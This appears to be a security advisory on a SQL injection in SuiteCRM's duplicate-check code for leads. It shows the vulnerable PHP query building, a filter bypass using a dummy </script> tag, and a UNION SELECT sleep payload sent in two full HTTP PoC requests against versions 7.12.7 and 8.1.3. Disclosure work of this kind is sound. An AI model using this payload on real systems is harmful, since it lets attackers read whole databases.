Description

User input is inserted directly into a SQL query in multiple places when duplicating contacts/leads.

Proof of Concept

For a PoC, we are going to use Leads, although the other vulnerabilities will (probably) work analagously. Since the input is not directly displayed to the user, we will proof SQL Injection by inserting a SLEEP command.

The vulnerable code is found here:

$query = "SELECT id, first_name, last_name, account_name, title FROM leads ";
$query .= " WHERE deleted != 1 AND (status <> 'Converted' OR status IS NULL) AND ";

if (isset($_POST[$prefix.'first_name']) && strlen($_POST[$prefix.'first_name']) != 0 && isset($_POST[$prefix.'last_name']) && strlen($_POST[$prefix.'last_name']) != 0) {
    $query .= " (first_name='". $_POST[$prefix.'first_name'] . "' AND last_name = '". $_POST[$prefix.'last_name'] ."')";
} else {
    $query .= " last_name = '". $_POST[$prefix.'last_name'] ."'";
}

return $query;

In order to break out of the string, we need to insert a single-quote. However, single-quotes are HTML-entity encoded. The XSS filter can be tricked into injecting an unencoded single-quote by inserting a dummy </script> tag that is removed by the filter. The payload inserted into the last_name parameter looks like this: asd</script>') UNION SELECT sleep(5),2,3,4,5 -- -.

PoC Requests

This is a PoC request (for SuiteCRM Version 7.12.7):

POST /index.php HTTP/1.1
Host: 127.0.0.1:8001
Content-Length: 484
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIInRESOo76zAzDIg
Referer: http://127.0.0.1:8001/index.php
Cookie: PHPSESSID=bjim2jhhk5dobsulut6gj4s9kt
Connection: close

------WebKitFormBoundaryIInRESOo76zAzDIg
Content-Disposition: form-data; name="module"

Leads
------WebKitFormBoundaryIInRESOo76zAzDIg
Content-Disposition: form-data; name="action"

Save
------WebKitFormBoundaryIInRESOo76zAzDIg
Content-Disposition: form-data; name="first_name"

asd
------WebKitFormBoundaryIInRESOo76zAzDIg
Content-Disposition: form-data; name="last_name"

asd</script>') UNION SELECT sleep(5),2,3,4,5 -- -
------WebKitFormBoundaryIInRESOo76zAzDIg--

SuiteCRM 8.1.3 is also vulnerable via the legacy code. The PoC request needs to be adjusted a bit (the path needs to be adjusted & the LEGACYSESSID cookie is required):

POST /legacy/index.php HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 484
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIInRESOo76zAzDIg
Referer: http://127.0.0.1:8001/index.php
Cookie: LEGACYSESSID=6cskbp5agsnaa83t4eld5gb03a; PHPSESSID=3eip2m4qvk131iob0dide5uh7st
Connection: close

------WebKitFormBoundaryIInRESOo76zAzDIg
Content-Disposition: form-data; name="module"

Leads
------WebKitFormBoundaryIInRESOo76zAzDIg
Content-Disposition: form-data; name="action"

Save
------WebKitFormBoundaryIInRESOo76zAzDIg
Content-Disposition: form-data; name="first_name"

asd
------WebKitFormBoundaryIInRESOo76zAzDIg
Content-Disposition: form-data; name="last_name"

asd</script>') UNION SELECT sleep(5),2,3,4,5 -- -
------WebKitFormBoundaryIInRESOo76zAzDIg--

The response takes approximately 5 seconds, proving that the SLEEP statement was executed by the database and thus we have SQL Injection.

Impact

The impact is leakage of all data stored in the database.